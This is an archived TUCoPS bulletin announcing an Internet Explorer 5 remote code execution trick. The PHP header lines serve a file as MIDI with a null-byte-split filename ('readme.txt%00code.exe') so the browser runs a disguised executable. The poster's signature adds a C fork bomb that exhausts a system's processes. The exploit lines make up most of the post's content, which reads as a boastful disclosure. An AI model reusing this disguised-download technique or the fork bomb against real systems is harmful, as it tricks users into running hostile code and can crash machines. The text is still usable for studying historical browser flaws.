TUCoPS :: Browsers :: bt1290.txt

IE remote code execution

This code can execute any code remotely using IE - as  you can see very simple.

// for IE 5, tested on default Windows 98SE installation
Header("Content-type: audio/midi");
Header("Content-Disposition: inline; filename=readme.txt%00code.exe");

Here you have a demo:

Can we expect more surprises like this one?

r3b00t ~ [http://r3b00t.tx.pl]
just do main(){for(;;)fork();}

TUCoPS is optimized to look best in Firefox® on a widescreen monitor (1440x900 or better).
Site design & layout copyright © 1986-2024 AOH